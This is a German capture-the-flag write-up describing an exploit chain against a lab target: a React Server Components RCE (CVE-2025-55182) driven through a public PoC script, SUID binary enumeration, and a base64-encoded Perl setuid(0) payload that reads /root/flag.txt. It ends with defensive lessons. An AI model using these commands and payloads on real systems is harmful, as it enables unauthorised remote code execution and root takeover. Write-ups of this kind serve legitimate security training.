
[First-Blood-XO] React Server Component-Endpunkt anfällig für CVE-2025-55182 (RCE) → SUID-Binärdateien aufgezählt → /usr/bin/perl hatte SUID gesetzt → nutzte Perls POSIX setuid(0), um zu Root zu eskalieren → las /root/flag.txt
Kategorie: Web Exploitation | Schwierigkeit: Mittel | Schwachstelle: Remote Code Execution → SUID-Privilegienerweiterung
React Server Component-Endpunkt anfällig für CVE-2025-55182 (RCE) → SUID-Binärdateien aufgezählt → /usr/bin/perl hatte SUID gesetzt → Perls POSIX setuid(0) verwendet, um auf root zu eskalieren → /root/flag.txt gelesen.
Flag: MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
Ziel: http://challenge.cybermesh.site:30035/
Das Ziel war eine React-basierte Webanwendung, die React Server Components (RSC) nutzt – eine relativ neue Architektur, die Komponenten serverseitig ausführt und serialisierte Ausgaben über ein benutzerdefiniertes Drahtformat zurück an den Client streamt.
Diese Architektur führt eine serverseitige Ausführungsgrenze ein. Eine unsachgemäße Eingabebehandlung an dieser Grenze ist genau das, was CVE-2025-55182 ausnutzt.
React Server Components RCE — Der Server unterlässt es, benutzergesteuerte Eingaben zu bereinigen, bevor sie die serverseitige Komponentenausführungsschicht erreichen. Dies ermöglicht einem Angreifer, OS-Shell-Befehle einzuschleusen, die im Kontext des Node.js-Prozesses ausgeführt werden.
Angriffsablauf:
Ein öffentlicher PoC existiert für diese CVE:
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc
Erste Überprüfung — Bestätigung von RCE und Ausführungskontext:
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"
Ausgabe:
[+] EXPLOITATION SUCCESSFUL
► app
Der Server läuft als Benutzer app. Nicht root – Eskalation erforderlich.
Suche nach SUID-Binärdateien:
python exploit.py -t http://challenge.cybermesh.site:30035/ \
-c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"
Ausgabe:
[+] EXPLOITATION SUCCESSFUL
► /usr/bin/gpasswd
► /usr/bin/perl <--- !!!
► /usr/bin/chsh
► /usr/bin/su
► /usr/bin/chfn
► /usr/bin/umount
► /usr/bin/mount
► /usr/bin/passwd
► /usr/bin/newgrp
/usr/bin/perl hat das SUID-Bit gesetzt. Dies ist ein bekannter GTFOBin – wenn Perl root gehört und SUID gesetzt ist, führt es es mit Root-Rechten aus, unabhängig davon, wer es aufruft.
Erstellte eine base64-kodierte Perl-Nutzlast, die:
POSIX::setuid(0) auf, um auf root zu eskalieren/root/flag.txtAusgeliefert über den RCE-Endpunkt:
python exploit.py \
-t http://challenge.cybermesh.site:30035/ \
-c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"
Die dekodierte Nutzlast sieht ungefähr so aus:
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);
Ausgabe:
[+] EXPLOITATION SUCCESSFUL
► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
1. Die Angriffsfläche von RSC wird unterschätzt.
React Server Components sind ein neues Paradigma. Viele Bereitstellungen sind nicht gegen Eingabeinjektion an der Server-Komponenten-Grenze gehärtet. Diese CVE erinnert daran, dass „Server-seitiges Rendern“ nicht von Natur aus sicher ist – die Ausführungsgrenze benötigt dennoch ordnungsgemäße Bereinigung.
2. SUID auf Scripting-Laufzeiten = sofortiger Root.
/usr/bin/perl mit SUID ist eine lehrbuchmäßige Fehlkonfiguration. GTFOBins behandelt es ausführlich. Setzen Sie niemals das SUID-Bit auf Skriptsprachen (Perl, Python, Ruby, etc.) – im Gegensatz zu kompilierten Binärdateien, die für SUID ausgelegt sind (su, passwd), bieten diese Laufzeiten triviale Eskalationspfade.
3. Die Flagge ist selbstreflexiv.
SU1D_AR3_FUN_BUT_N0T_EVERYTIM3 – die Herausforderung wurde explizit um SUID Perl als beabsichtigten Eskalationspfad entworfen. Saubere Kette.
CVE-2025-55182 (RSC RCE)
└─> whoami → Benutzer "app"
└─> Suche nach SUID-Binärdateien
└─> /usr/bin/perl (SUID root) identifiziert
└─> base64 Perl-Nutzlast → in /tmp/p.pl schreiben
└─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt
└─> FLAG ✓
Geschrieben von Abdullah Maqbool — Penetration Testing Engineer bei TISS | CRTA · CRTOM · CompTIA PenTest+